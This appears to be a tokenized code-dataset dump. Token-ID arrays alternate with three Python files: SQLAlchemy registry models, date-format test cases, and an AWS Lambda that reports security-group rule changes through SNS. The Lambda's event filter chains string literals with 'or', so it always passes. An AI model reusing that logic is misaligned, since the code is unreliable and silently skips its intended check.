297,
278,
3464,
29871,
29900,
29899,
29906,
1495,
13,
13,
1678,
6939,
29918,
1792,
1272,
353,
426,
13,
9651,
525,
14035,
2396,
14035,
29892,
13,
9651,
525,
3332,
1199,
2396,
3332,
1199,
29892,
13,
9651,
525,
29939,
359,
2396,
29939,
359,
29892,
13,
9651,
525,
1792,
1272,
2396,
1792,
1272,
29913,
13,
13,
1678,
3132,
353,
282,
29745,
29889,
4032,
29898,
4645,
29918,
333,
29922,
4645,
29918,
333,
29892,
13,
462,
308,
1404,
1272,
29922,
14035,
29918,
1792,
1272,
29892,
9608,
29922,
20464,
29892,
8608,
29922,
27882,
29897,
13,
1678,
3132,
29889,
265,
29918,
4906,
353,
903,
265,
29918,
4906,
29918,
14035,
13,
1678,
3132,
29889,
265,
29918,
6915,
353,
903,
265,
29918,
6915,
13,
13,
1678,
565,
4817,
338,
451,
6213,
29901,
13,
4706,
8952,
353,
4817,
1839,
6786,
2033,
13,
4706,
1018,
29901,
13,
9651,
4800,
353,
4817,
1839,
5630,
2033,
13,
4706,
5174,
7670,
2392,
29901,
13,
9651,
4800,
353,
529,
25711,
17013,
29958,
13,
4706,
3132,
29889,
6786,
29918,
29886,
29893,
29918,
842,
29898,
6786,
29892,
4800,
29897,
13,
13,
1678,
565,
674,
338,
451,
6213,
29901,
13,
4706,
674,
29918,
13010,
353,
674,
1839,
13010,
2033,
13,
4706,
1018,
29901,
13,
9651,
674,
29918,
23813,
353,
674,
1839,
23813,
2033,
13,
4706,
5174,
7670,
2392,
29901,
13,
9651,
674,
29918,
23813,
353,
6213,
13,
4706,
1018,
29901,
13,
9651,
674,
29918,
29939,
359,
353,
674,
1839,
29939,
359,
2033,
13,
4706,
5174,
7670,
2392,
29901,
13,
9651,
674,
29918,
29939,
359,
353,
29871,
29900,
13,
4706,
1018,
29901,
13,
9651,
674,
29918,
2267,
475,
353,
674,
1839,
2267,
475,
2033,
13,
4706,
5174,
7670,
2392,
29901,
13,
9651,
674,
29918,
2267,
475,
353,
7700,
13,
13,
4706,
3132,
29889,
14043,
29918,
842,
29898,
14043,
29918,
13010,
29892,
674,
29918,
23813,
29892,
674,
29918,
29939,
359,
29892,
674,
29918,
2267,
475,
29897,
13,
13,
1678,
565,
260,
3137,
338,
451,
6213,
29901,
13,
4706,
5777,
29918,
6327,
29879,
353,
260,
3137,
1839,
1113,
29918,
6327,
29879,
2033,
13,
4706,
1018,
29901,
13,
9651,
2284,
1445,
353,
260,
3137,
1839,
6327,
1445,
2033,
13,
4706,
5174,
7670,
2392,
29901,
13,
9651,
2284,
1445,
353,
6213,
13,
4706,
1018,
29901,
13,
9651,
1820,
1445,
353,
260,
3137,
1839,
1989,
1445,
2033,
13,
4706,
5174,
7670,
2392,
29901,
13,
9651,
1820,
1445,
353,
6213,
13,
4706,
1018,
29901,
13,
9651,
260,
3137,
29918,
3259,
353,
260,
3137,
1839,
29873,
3137,
29918,
3259,
2033,
13,
4706,
5174,
7670,
2392,
29901,
13,
9651,
260,
3137,
29918,
3259,
353,
24250,
29889,
8618,
4986,
15032,
29918,
18641,
29894,
29906,
29941,
29936,
13,
4706,
1018,
29901,
13,
9651,
4583,
561,
414,
353,
260,
3137,
1839,
455,
561,
414,
2033,
13,
4706,
5174,
7670,
2392,
29901,
13,
9651,
4583,
561,
414,
353,
6213,
13,
4706,
3132,
29889,
29873,
3137,
29918,
842,
29898,
1113,
29918,
6327,
29879,
29892,
2284,
1445,
29892,
1820,
1445,
29892,
260,
3137,
29918,
3259,
29922,
29873,
3137,
29918,
3259,
29892,
13,
462,
539,
4583,
561,
414,
29922,
455,
561,
414,
29897,
13,
13,
1678,
3132,
29889,
6915,
29898,
28988,
29892,
2011,
29892,
3013,
284,
573,
29897,
13,
1678,
3132,
29889,
7888,
29918,
1079,
369,
580,
13,
13,
13,
1753,
2560,
29898,
3332,
1199,
29892,
3855,
359,
29922,
29900,
29892,
10191,
29918,
2798,
29922,
29896,
29892,
26060,
29922,
5574,
29892,
3495,
978,
543,
7640,
613,
2011,
29922,
29896,
29947,
29947,
29941,
29892,
13,
4706,
3132,
29918,
333,
543,
613,
3013,
284,
573,
29922,
29953,
29900,
29892,
674,
29922,
8516,
29892,
4817,
29922,
8516,
29892,
260,
3137,
29922,
8516,
29892,
13,
4706,
9608,
29922,
29886,
29745,
29889,
25566,
19988,
29894,
29941,
29896,
29896,
29892,
8608,
543,
23981,
29908,
1125,
13,
1678,
9995,
4035,
13086,
304,
263,
1051,
310,
23820,
322,
736,
10191,
29918,
2798,
7191,
29889,
13,
13,
1678,
910,
740,
10017,
385,
341,
29984,
19988,
3132,
29892,
4511,
29879,
304,
263,
2545,
3946,
322,
21696,
5707,
13,
1678,
304,
263,
1051,
310,
23820,
29889,
9038,
376,
7645,
29918,
2798,
29908,
7191,
505,
1063,
4520,
29892,
372,
13,
1678,
766,
6915,
29879,
5941,
368,
515,
278,
2545,
3946,
322,
3639,
278,
7191,
29889,
13,
13,
1678,
23820,
584,
2845,
263,
1347,
6943,
263,
2323,
11261,
304,
1014,
13086,
304,
29892,
470,
263,
13,
632,
1051,
310,
23820,
304,
1014,
13086,
304,
29889,
13,
13,
1678,
3855,
359,
584,
278,
3855,
359,
304,
671,
746,
21696,
10549,
29889,
910,
338,
7436,
304,
599,
23820,
29889,
13,
13,
1678,
10191,
29918,
2798,
584,
278,
1353,
310,
7191,
304,
10563,
515,
278,
2545,
3946,
29889,
29871,
13,
18884,
565,
10191,
29918,
2798,
1275,
29871,
29896,
769,
263,
2323,
341,
29984,
19988,
3728,
674,
367,
4133,
29889,
13,
18884,
565,
10191,
29918,
2798,
1405,
29871,
29896,
769,
263,
1051,
310,
341,
29984,
19988,
25510,
674,
367,
4133,
29889,
13,
13,
1678,
26060,
584,
960,
731,
304,
5852,
29892,
26060,
7191,
674,
367,
19356,
278,
1021,
408,
13,
1669,
1661,
29899,
2267,
7114,
7191,
29889,
960,
731,
304,
7700,
29892,
26060,
7191,
674,
13,
1669,
367,
17262,
29889,
910,
2794,
393,
411,
26060,
29922,
8824,
322,
10191,
29918,
2798,
29922,
29896,
29892,
13,
1669,
278,
740,
674,
736,
278,
937,
2643,
4520,
393,
947,
13,
1669,
451,
505,
278,
26060,
7353,
731,
29889,
13,
13,
1678,
3495,
978,
584,
263,
1347,
6943,
278,
3211,
310,
278,
2545,
3946,
304,
4511,
304,
29889,
13,
1669,
13109,
29879,
304,
15683,
29889,
13,
13,
1678,
2011,
584,
278,
2011,
304,
4511,
304,
278,
2545,
3946,
373,
29889,
13109,
29879,
304,
29871,
29896,
29947,
29947,
29941,
29889,
13,
13,
1678,
3132,
29918,
333,
584,
278,
341,
29984,
19988,
3132,
1178,
304,
671,
29889,
960,
5124,
470,
6213,
29892,
278,
349,
29745,
3489,
674,
13,
18884,
5706,
263,
3132,
1178,
6336,
29889,
13,
13,
1678,
3013,
284,
573,
584,
278,
3013,
284,
573,
11815,
995,
363,
278,
3132,
29889,
13109,
29879,
304,
29871,
29953,
29900,
13,
18884,
6923,
29889,
13,
13,
1678,
674,
584,
263,
9657,
6943,
674,
4128,
363,
278,
3132,
29901,
674,
353,
11117,
13010,
2396,
13,
965,
9872,
13010,
28341,
525,
23813,
2396,
29908,
29966,
23813,
1013,
29892,
525,
29939,
359,
2396,
29966,
29939,
359,
10202,
525,
2267,
475,
2396,
29966,
2267,
475,
29958,
1836,
13,
965,
7488,
293,
338,
3734,
29892,
599,
916,
4128,
526,
13136,
322,
674,
13,
965,
2322,
304,
6213,
29892,
29871,
29900,
322,
7700,
8307,
29889,
13,
965,
13109,
29879,
304,
6213,
29892,
607,
14088,
694,
674,
881,
367,
1304,
29889,
13,
13,
1678,
4817,
584,
263,
9657,
6943,
10760,
4128,
363,
278,
3132,
29901,
13,
965,
4817,
353,
11117,
6786,
2396,
29908,
29966,
6786,
28341,
525,
5630,
2396,
29908,
29966,
5630,
29958,
9092,
13,
965,
4911,
978,
338,
3734,
29892,
4800,
338,
13136,
322,
674,
2322,
304,
6213,
13,
965,
565,
451,
4944,
29889,
13,
965,
13109,
29879,
304,
6213,
29892,
607,
14088,
694,
10760,
338,
304,
367,
1304,
29889,
13,
13,
1678,
260,
3137,
584,
263,
9657,
6943,
27658,
5285,
4128,
363,
278,
3132,
29901,
13,
3986,
9657,
353,
11117,
1113,
29918,
6327,
29879,
2396,
29908,
29966,
1113,
29918,
6327,
29879,
28341,
525,
6327,
1445,
2396,
29908,
29966,
6327,
1445,
28341,
13,
3986,
525,
1989,
1445,
2396,
29908,
29966,
1989,
1445,
28341,
525,
29873,
3137,
29918,
3259,
2396,
29908,
29966,
29873,
3137,
29918,
3259,
28341,
13,
3986,
525,
455,
561,
414,
2396,
29908,
29966,
455,
561,
414,
1013,
29913,
13,
3986,
5777,
29918,
6327,
29879,
338,
3734,
29892,
599,
916,
4128,
526,
13136,
322,
674,
13,
3986,
2322,
304,
6213,
565,
451,
4944,
29892,
607,
2582,
297,
278,
3132,
773,
13,
3986,
278,
2322,
10468,
448,
1074,
278,
282,
29745,
29889,
28466,
698,
29889,
4645,
5106,
29889,
13,
3986,
13109,
29879,
304,
6213,
29892,
607,
14088,
393,
27658,
881,
451,
367,
1304,
29889,
13,
1678,
8608,
584,
731,
304,
376,
23981,
29908,
304,
671,
278,
2322,
4444,
310,
8608,
607,
338,
13,
3986,
10650,
19374,
29889,
3789,
304,
376,
2676,
578,
9737,
29908,
304,
671,
2563,
29903,
1698,
1691,
408,
278,
8608,
29889,
13,
1678,
9995,
13,
13,
1678,
565,
10191,
29918,
2798,
529,
29871,
29896,
29901,
13,
4706,
12020,
7865,
2392,
877,
7645,
29918,
2798,
1818,
367,
1405,
29871,
29900,
1495,
13,
13,
1678,
396,
3789,
20278,
701,
304,
736,
263,
2323,
2643,
565,
10191,
29918,
2798,
1275,
29871,
29896,
29892,
470,
263,
1051,
13,
1678,
396,
565,
1405,
29871,
29896,
29889,
13,
1678,
565,
10191,
29918,
2798,
1275,
29871,
29896,
29901,
13,
4706,
7191,
353,
6213,
13,
1678,
1683,
29901,
13,
4706,
7191,
353,
5159,
13,
13,
1678,
1404,
1272,
353,
11117,
2267,
7114,
2396,
2267,
7114,
29892,
525,
7645,
29918,
2798,
2396,
7645,
29918,
2798,
29892,
525,
19158,
2396,
19158,
29913,
13,
13,
1678,
6939,
7373,
265,
29918,
4906,
29918,
12857,
29892,
23820,
29892,
3855,
359,
29892,
1404,
1272,
29892,
3495,
978,
29892,
2011,
29892,
13,
9651,
3132,
29918,
333,
29892,
3013,
284,
573,
29892,
674,
29892,
4817,
29892,
260,
3137,
29892,
9608,
29892,
8608,
29897,
13,
13,
1678,
736,
1404,
1272,
1839,
19158,
2033,
13,
13,
2
] |
registry/sql/models/module.py | rmb938/tf-registry | 3 | 103248 | import uuid
from sqlalchemy import Column, String, func, Index, ForeignKey
from sqlalchemy_utils import ArrowType, UUIDType
from registry.sql.database import Base
class Module(Base):
__tablename__ = 'modules'
id = Column(UUIDType, primary_key=True, default=uuid.uuid4)
organization_id = Column(UUIDType, ForeignKey('organizations.id'), nullable=False, index=True)
name = Column(String, nullable=False)
created_at = Column(ArrowType, index=True, nullable=False, server_default=func.now())
updated_at = Column(ArrowType, nullable=False, server_default=func.now(), onupdate=func.now())
__table_args__ = (
Index("organization_id_name_idx", organization_id, name, unique=True),
)
class ModuleProvider(Base):
__tablename__ = 'module_providers'
id = Column(UUIDType, primary_key=True, default=uuid.uuid4)
module_id = Column(UUIDType, ForeignKey('modules.id'), nullable=False, index=True)
name = Column(String, nullable=False)
created_at = Column(ArrowType, index=True, nullable=False, server_default=func.now())
updated_at = Column(ArrowType, nullable=False, server_default=func.now(), onupdate=func.now())
__table_args__ = (
Index("module_id_name_idx", module_id, name, unique=True),
)
class ModuleProviderVersion(Base):
__tablename__ = 'module_provider_versions'
id = Column(UUIDType, primary_key=True, default=uuid.uuid4)
provider_id = Column(UUIDType, ForeignKey('module_providers.id'), nullable=False, index=True)
version = Column(String, nullable=False)
created_at = Column(ArrowType, index=True, nullable=False, server_default=func.now())
updated_at = Column(ArrowType, nullable=False, server_default=func.now(), onupdate=func.now())
__table_args__ = (
Index("provider_id_version_idx", provider_id, version, unique=True),
)
| [
1,
1053,
318,
5416,
13,
13,
3166,
4576,
284,
305,
6764,
1053,
12481,
29892,
1714,
29892,
3653,
29892,
11374,
29892,
19358,
2558,
13,
3166,
4576,
284,
305,
6764,
29918,
13239,
1053,
826,
798,
1542,
29892,
501,
11150,
1542,
13,
13,
3166,
21235,
29889,
2850,
29889,
9803,
1053,
7399,
13,
13,
13,
1990,
15591,
29898,
5160,
1125,
13,
1678,
4770,
3891,
2435,
420,
1649,
353,
525,
7576,
29915,
13,
13,
1678,
1178,
353,
12481,
29898,
29965,
11150,
1542,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
2322,
29922,
25118,
29889,
25118,
29946,
29897,
13,
1678,
13013,
29918,
333,
353,
12481,
29898,
29965,
11150,
1542,
29892,
19358,
2558,
877,
6388,
17063,
29889,
333,
5477,
1870,
519,
29922,
8824,
29892,
2380,
29922,
5574,
29897,
13,
1678,
1024,
353,
12481,
29898,
1231,
29892,
1870,
519,
29922,
8824,
29897,
13,
13,
1678,
2825,
29918,
271,
353,
12481,
29898,
1433,
798,
1542,
29892,
2380,
29922,
5574,
29892,
1870,
519,
29922,
8824,
29892,
1923,
29918,
4381,
29922,
9891,
29889,
3707,
3101,
13,
1678,
4784,
29918,
271,
353,
12481,
29898,
1433,
798,
1542,
29892,
1870,
519,
29922,
8824,
29892,
1923,
29918,
4381,
29922,
9891,
29889,
3707,
3285,
373,
5504,
29922,
9891,
29889,
3707,
3101,
13,
13,
1678,
4770,
2371,
29918,
5085,
1649,
353,
313,
13,
4706,
11374,
703,
6388,
2133,
29918,
333,
29918,
978,
29918,
13140,
613,
13013,
29918,
333,
29892,
1024,
29892,
5412,
29922,
5574,
511,
13,
1678,
1723,
13,
13,
13,
1990,
15591,
6980,
29898,
5160,
1125,
13,
1678,
4770,
3891,
2435,
420,
1649,
353,
525,
5453,
29918,
771,
29454,
29915,
13,
13,
1678,
1178,
353,
12481,
29898,
29965,
11150,
1542,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
2322,
29922,
25118,
29889,
25118,
29946,
29897,
13,
1678,
3883,
29918,
333,
353,
12481,
29898,
29965,
11150,
1542,
29892,
19358,
2558,
877,
7576,
29889,
333,
5477,
1870,
519,
29922,
8824,
29892,
2380,
29922,
5574,
29897,
13,
1678,
1024,
353,
12481,
29898,
1231,
29892,
1870,
519,
29922,
8824,
29897,
13,
13,
1678,
2825,
29918,
271,
353,
12481,
29898,
1433,
798,
1542,
29892,
2380,
29922,
5574,
29892,
1870,
519,
29922,
8824,
29892,
1923,
29918,
4381,
29922,
9891,
29889,
3707,
3101,
13,
1678,
4784,
29918,
271,
353,
12481,
29898,
1433,
798,
1542,
29892,
1870,
519,
29922,
8824,
29892,
1923,
29918,
4381,
29922,
9891,
29889,
3707,
3285,
373,
5504,
29922,
9891,
29889,
3707,
3101,
13,
13,
1678,
4770,
2371,
29918,
5085,
1649,
353,
313,
13,
4706,
11374,
703,
5453,
29918,
333,
29918,
978,
29918,
13140,
613,
3883,
29918,
333,
29892,
1024,
29892,
5412,
29922,
5574,
511,
13,
1678,
1723,
13,
13,
13,
1990,
15591,
6980,
6594,
29898,
5160,
1125,
13,
1678,
4770,
3891,
2435,
420,
1649,
353,
525,
5453,
29918,
18121,
29918,
26100,
29915,
13,
13,
1678,
1178,
353,
12481,
29898,
29965,
11150,
1542,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
2322,
29922,
25118,
29889,
25118,
29946,
29897,
13,
1678,
13113,
29918,
333,
353,
12481,
29898,
29965,
11150,
1542,
29892,
19358,
2558,
877,
5453,
29918,
771,
29454,
29889,
333,
5477,
1870,
519,
29922,
8824,
29892,
2380,
29922,
5574,
29897,
13,
1678,
1873,
353,
12481,
29898,
1231,
29892,
1870,
519,
29922,
8824,
29897,
13,
13,
1678,
2825,
29918,
271,
353,
12481,
29898,
1433,
798,
1542,
29892,
2380,
29922,
5574,
29892,
1870,
519,
29922,
8824,
29892,
1923,
29918,
4381,
29922,
9891,
29889,
3707,
3101,
13,
1678,
4784,
29918,
271,
353,
12481,
29898,
1433,
798,
1542,
29892,
1870,
519,
29922,
8824,
29892,
1923,
29918,
4381,
29922,
9891,
29889,
3707,
3285,
373,
5504,
29922,
9891,
29889,
3707,
3101,
13,
13,
1678,
4770,
2371,
29918,
5085,
1649,
353,
313,
13,
4706,
11374,
703,
18121,
29918,
333,
29918,
3259,
29918,
13140,
613,
13113,
29918,
333,
29892,
1873,
29892,
5412,
29922,
5574,
511,
13,
1678,
1723,
13,
2
] |
tests/integration/records/datetime_cases.py | cwegrzyn/records-mover | 36 | 155485 | SAMPLE_YEAR = 1983
SAMPLE_YEAR_SHORT = 83
SAMPLE_MONTH = 1
SAMPLE_DAY = 2
SAMPLE_HOUR = 15
SAMPLE_UTC_HOUR = 20
SAMPLE_HOUR_12H = 3
SAMPLE_MINUTE = 4
SAMPLE_SECOND = 5
SAMPLE_PERIOD = 'PM'
SAMPLE_OFFSET = '-00'
SAMPLE_LONG_TZ = 'UTC'
def create_sample(template: str) -> str:
return (
template
.replace('YYYY', str(SAMPLE_YEAR))
.replace('YY', ('%02d' % SAMPLE_YEAR_SHORT))
.replace('MM', ('%02d' % SAMPLE_MONTH))
.replace('DD', ('%02d' % SAMPLE_DAY))
.replace('HH24', ('%02d' % SAMPLE_HOUR))
.replace('HH12', ('%02d' % SAMPLE_HOUR_12H))
.replace('HH', ('%02d' % SAMPLE_HOUR))
.replace('MI', ('%02d' % SAMPLE_MINUTE))
.replace('SS', ('%02d' % SAMPLE_SECOND))
.replace('OF', SAMPLE_OFFSET)
.replace('AM', SAMPLE_PERIOD)
)
DATE_CASES = [
'YYYY-MM-DD',
'MM-DD-YYYY',
'DD-MM-YYYY',
'MM/DD/YY',
'DD/MM/YY',
'DD-MM-YY',
]
TIMEONLY_CASES = [
"HH12:MI AM",
"HH:MI:SS",
"HH24:MI:SS",
]
DATETIMETZ_CASES = [
"YYYY-MM-DD HH:MI:SSOF",
"YYYY-MM-DD HH:MI:SS",
"YYYY-MM-DD HH24:MI:SSOF",
"MM/DD/YY HH24:MI",
]
DATETIME_CASES = [
"YYYY-MM-DD HH24:MI:SS",
"YYYY-MM-DD HH:MI:SS",
"YYYY-MM-DD HH12:MI AM",
"MM/DD/YY HH24:MI",
]
| [
1,
16698,
3580,
1307,
29918,
29979,
26441,
353,
29871,
29896,
29929,
29947,
29941,
13,
8132,
3580,
1307,
29918,
29979,
26441,
29918,
7068,
8476,
353,
29871,
29947,
29941,
13,
8132,
3580,
1307,
29918,
22877,
4690,
353,
29871,
29896,
13,
8132,
3580,
1307,
29918,
28658,
353,
29871,
29906,
13,
8132,
3580,
1307,
29918,
8187,
4574,
353,
29871,
29896,
29945,
13,
8132,
3580,
1307,
29918,
26913,
29918,
8187,
4574,
353,
29871,
29906,
29900,
13,
8132,
3580,
1307,
29918,
8187,
4574,
29918,
29896,
29906,
29950,
353,
29871,
29941,
13,
8132,
3580,
1307,
29918,
16173,
26027,
353,
29871,
29946,
13,
8132,
3580,
1307,
29918,
1660,
6007,
29928,
353,
29871,
29945,
13,
8132,
3580,
1307,
29918,
13171,
5971,
29928,
353,
525,
13427,
29915,
13,
8132,
3580,
1307,
29918,
27681,
10490,
353,
17411,
29900,
29900,
29915,
13,
8132,
3580,
1307,
29918,
29931,
20614,
29918,
29911,
29999,
353,
525,
26913,
29915,
13,
13,
13,
1753,
1653,
29918,
11249,
29898,
6886,
29901,
851,
29897,
1599,
851,
29901,
13,
1678,
736,
313,
13,
4706,
4472,
13,
4706,
869,
6506,
877,
14995,
14995,
742,
851,
29898,
8132,
3580,
1307,
29918,
29979,
26441,
876,
13,
4706,
869,
6506,
877,
14995,
742,
6702,
29995,
29900,
29906,
29881,
29915,
1273,
16698,
3580,
1307,
29918,
29979,
26441,
29918,
7068,
8476,
876,
13,
4706,
869,
6506,
877,
7428,
742,
6702,
29995,
29900,
29906,
29881,
29915,
1273,
16698,
3580,
1307,
29918,
22877,
4690,
876,
13,
4706,
869,
6506,
877,
7858,
742,
6702,
29995,
29900,
29906,
29881,
29915,
1273,
16698,
3580,
1307,
29918,
28658,
876,
13,
4706,
869,
6506,
877,
27590,
29906,
29946,
742,
6702,
29995,
29900,
29906,
29881,
29915,
1273,
16698,
3580,
1307,
29918,
8187,
4574,
876,
13,
4706,
869,
6506,
877,
27590,
29896,
29906,
742,
6702,
29995,
29900,
29906,
29881,
29915,
1273,
16698,
3580,
1307,
29918,
8187,
4574,
29918,
29896,
29906,
29950,
876,
13,
4706,
869,
6506,
877,
27590,
742,
6702,
29995,
29900,
29906,
29881,
29915,
1273,
16698,
3580,
1307,
29918,
8187,
4574,
876,
13,
4706,
869,
6506,
877,
10403,
742,
6702,
29995,
29900,
29906,
29881,
29915,
1273,
16698,
3580,
1307,
29918,
16173,
26027,
876,
13,
4706,
869,
6506,
877,
1799,
742,
6702,
29995,
29900,
29906,
29881,
29915,
1273,
16698,
3580,
1307,
29918,
1660,
6007,
29928,
876,
13,
4706,
869,
6506,
877,
9800,
742,
16698,
3580,
1307,
29918,
27681,
10490,
29897,
13,
4706,
869,
6506,
877,
5194,
742,
16698,
3580,
1307,
29918,
13171,
5971,
29928,
29897,
13,
1678,
1723,
13,
13,
13,
6248,
29918,
23487,
29903,
353,
518,
13,
1678,
525,
14995,
14995,
29899,
7428,
29899,
7858,
742,
13,
1678,
525,
7428,
29899,
7858,
29899,
14995,
14995,
742,
13,
1678,
525,
7858,
29899,
7428,
29899,
14995,
14995,
742,
13,
1678,
525,
7428,
29914,
7858,
29914,
14995,
742,
13,
1678,
525,
7858,
29914,
7428,
29914,
14995,
742,
13,
1678,
525,
7858,
29899,
7428,
29899,
14995,
742,
13,
29962,
13,
13,
15307,
1164,
16786,
29918,
23487,
29903,
353,
518,
13,
1678,
376,
27590,
29896,
29906,
29901,
10403,
13862,
613,
13,
1678,
376,
27590,
29901,
10403,
29901,
1799,
613,
13,
1678,
376,
27590,
29906,
29946,
29901,
10403,
29901,
1799,
613,
13,
29962,
13,
13,
13,
25832,
2544,
8890,
29911,
29999,
29918,
23487,
29903,
353,
518,
13,
1678,
376,
14995,
14995,
29899,
7428,
29899,
7858,
379,
29950,
29901,
10403,
29901,
1799,
9800,
613,
13,
1678,
376,
14995,
14995,
29899,
7428,
29899,
7858,
379,
29950,
29901,
10403,
29901,
1799,
613,
13,
1678,
376,
14995,
14995,
29899,
7428,
29899,
7858,
379,
29950,
29906,
29946,
29901,
10403,
29901,
1799,
9800,
613,
13,
1678,
376,
7428,
29914,
7858,
29914,
14995,
379,
29950,
29906,
29946,
29901,
10403,
613,
13,
29962,
13,
13,
25832,
2544,
8890,
29918,
23487,
29903,
353,
518,
13,
1678,
376,
14995,
14995,
29899,
7428,
29899,
7858,
379,
29950,
29906,
29946,
29901,
10403,
29901,
1799,
613,
13,
1678,
376,
14995,
14995,
29899,
7428,
29899,
7858,
379,
29950,
29901,
10403,
29901,
1799,
613,
13,
1678,
376,
14995,
14995,
29899,
7428,
29899,
7858,
379,
29950,
29896,
29906,
29901,
10403,
13862,
613,
13,
1678,
376,
7428,
29914,
7858,
29914,
14995,
379,
29950,
29906,
29946,
29901,
10403,
613,
13,
29962,
13,
2
] |
function/function_sg_event.py | lihtiandxc/notification4sgchanges | 0 | 69617 | from datetime import datetime
import boto3
import json
import os
sns_client = boto3.client('sns')
###-------Global Var can be defined in Lambda global var and import with os.environ() method
#str_asg_name = 'limliht-asg,limliht2-asg' #simulate global var in lambda
#global_asg_name = str_asg_name.split(',')
#accountpf_sg_list = ['sg-c87e38b8','sg-a8bb07d3','sg-233f485c','sg-2b7b3d5b','sg-0297c272','sg-e29dc892','sg-dcf86ca8']
#accountpf_sg_list = ['sg-fbde2f8c','sg-9ba7c2ec','sg-352d1542']
accountpf_sg_list = os.environ['global_accountpf_sg_list'].split(',')
#accountpf_sg_list = accountpf_sg_list.split(',')
accountpf_sg_name = os.environ['global_accountpf_sg_name'].split(',')
#accountpf_sg_name = accountpf_sg_name.split(',')
sns_topic_arn = os.environ['global_sns_topic_arn']
#accountpf_sg_name = ['Prod_sg_mante','Monitor','Stag_account']
combine_sg_list = dict(zip(accountpf_sg_name,accountpf_sg_list)) #why not using dict instead? This design is to fit AWS lambda global var input
#sns_topic_arn = 'arn:aws:sns:us-east-1:751611215147:limliht_topic2'
def construct_sns_msg(e):
request_parameters = e['requestParameters']
group_id = request_parameters['groupId']
accesskey_id = e['userIdentity']['accessKeyId']
username = e['userIdentity']['userName']
event_name = e['eventName']
if event_name != 'DeleteSecurityGroup':
ip_permissions = request_parameters['ipPermissions']
ip_permissions_item = json.dumps(ip_permissions['items'])
else:
ip_permissions_item = 'Security Group has deleted'
aws_region = e['awsRegion']
source_ip = e['sourceIPAddress']
event_id = e['eventID']
str_e = json.dumps(e)
str_e_data = json.loads(str_e)
event_time_json = str_e_data['eventTime']
#Transform the JSON time format to datetime format
event_time_datetime_format = str(datetime.strptime(event_time_json, '%Y-%m-%dT%H:%M:%SZ'))
#Searching group name based on group id
for sg_name, sg_id in combine_sg_list.items():
if sg_id == group_id:
group_name = sg_name
#return sg_name
body_msg = 'Event summary: \
\n\nEvent name : ' + event_name + \
'\nSecurity Group Name : ' + group_name + \
'\nSecurity Group ID : ' + group_id + \
'\nChange Items : ' + ip_permissions_item + \
'\nEvent Id : ' + event_id + \
'\nEvent time (UTC) : ' + event_time_datetime_format + \
'\nUser Access Key : ' + accesskey_id + \
'\nUsername : ' + username + \
'\nAWS Region : ' + aws_region + \
'\nSource IP : ' + source_ip + \
'\n\n\n' + 'Raw event: ' + \
'\n\n' + str_e
subject_msg = 'Account Platform Security Group ({}) Rules Changes'.format(group_id)
trigger_notification(body_msg, subject_msg)
def trigger_notification(event_detail, subject):
sns_client.publish(TargetArn = sns_topic_arn, MessageStructure = 'string', \
Message = event_detail, Subject = subject)
def lambda_handler(event, context):
# TODO implement
print(event)
if (event['detail']['eventName'] == 'AuthorizeSecurityGroupIngress' or \
'AuthorizeSecurityGroupEgress' or 'RevokeSecurityGroupEgress' or \
'RevokeSecurityGroupIngress') or 'DeleteSecurityGroup' and \
event['detail']['requestParameters'] \
['groupId'] in accountpf_sg_list:
construct_sns_msg(event['detail'])
return 'Success'
| [
1,
515,
12865,
1053,
12865,
13,
5215,
289,
3747,
29941,
13,
5215,
4390,
13,
5215,
2897,
13,
13,
29879,
1983,
29918,
4645,
353,
289,
3747,
29941,
29889,
4645,
877,
29879,
1983,
1495,
13,
13,
2277,
29937,
26589,
12756,
11681,
508,
367,
3342,
297,
365,
2269,
5534,
722,
322,
1053,
411,
2897,
29889,
21813,
580,
1158,
13,
29937,
710,
29918,
294,
29887,
29918,
978,
353,
525,
2576,
492,
400,
29899,
294,
29887,
29892,
2576,
492,
400,
29906,
29899,
294,
29887,
29915,
396,
3601,
5987,
5534,
722,
297,
14013,
13,
29937,
10945,
29918,
294,
29887,
29918,
978,
353,
851,
29918,
294,
29887,
29918,
978,
29889,
5451,
29317,
1495,
13,
13,
29937,
10149,
7810,
29918,
5311,
29918,
1761,
353,
6024,
5311,
29899,
29883,
29947,
29955,
29872,
29941,
29947,
29890,
29947,
3788,
5311,
29899,
29874,
29947,
1327,
29900,
29955,
29881,
29941,
3788,
5311,
29899,
29906,
29941,
29941,
29888,
29946,
29947,
29945,
29883,
3788,
5311,
29899,
29906,
29890,
29955,
29890,
29941,
29881,
29945,
29890,
3788,
5311,
29899,
29900,
29906,
29929,
29955,
29883,
29906,
29955,
29906,
3788,
5311,
29899,
29872,
29906,
29929,
13891,
29947,
29929,
29906,
3788,
5311,
29899,
29881,
6854,
29947,
29953,
1113,
29947,
2033,
13,
29937,
10149,
7810,
29918,
5311,
29918,
1761,
353,
6024,
5311,
29899,
14943,
311,
29906,
29888,
29947,
29883,
3788,
5311,
29899,
29929,
2291,
29955,
29883,
29906,
687,
3788,
5311,
29899,
29941,
29945,
29906,
29881,
29896,
29945,
29946,
29906,
2033,
13,
10149,
7810,
29918,
5311,
29918,
1761,
353,
2897,
29889,
21813,
1839,
10945,
29918,
10149,
7810,
29918,
5311,
29918,
1761,
13359,
5451,
29317,
1495,
13,
29937,
10149,
7810,
29918,
5311,
29918,
1761,
353,
3633,
7810,
29918,
5311,
29918,
1761,
29889,
5451,
29317,
1495,
13,
10149,
7810,
29918,
5311,
29918,
978,
353,
2897,
29889,
21813,
1839,
10945,
29918,
10149,
7810,
29918,
5311,
29918,
978,
13359,
5451,
29317,
1495,
13,
29937,
10149,
7810,
29918,
5311,
29918,
978,
353,
3633,
7810,
29918,
5311,
29918,
978,
29889,
5451,
29317,
1495,
13,
29879,
1983,
29918,
13010,
29918,
2753,
353,
2897,
29889,
21813,
1839,
10945,
29918,
29879,
1983,
29918,
13010,
29918,
2753,
2033,
13,
29937,
10149,
7810,
29918,
5311,
29918,
978,
353,
6024,
1184,
29881,
29918,
5311,
29918,
1171,
371,
3788,
7185,
2105,
3788,
855,
351,
29918,
10149,
2033,
13,
17743,
457,
29918,
5311,
29918,
1761,
353,
9657,
29898,
7554,
29898,
10149,
7810,
29918,
5311,
29918,
978,
29892,
10149,
7810,
29918,
5311,
29918,
1761,
876,
396,
14606,
451,
773,
9657,
2012,
29973,
910,
2874,
338,
304,
6216,
15540,
14013,
5534,
722,
1881,
13,
29937,
29879,
1983,
29918,
13010,
29918,
2753,
353,
525,
2753,
29901,
10467,
29901,
29879,
1983,
29901,
375,
29899,
23027,
29899,
29896,
29901,
29955,
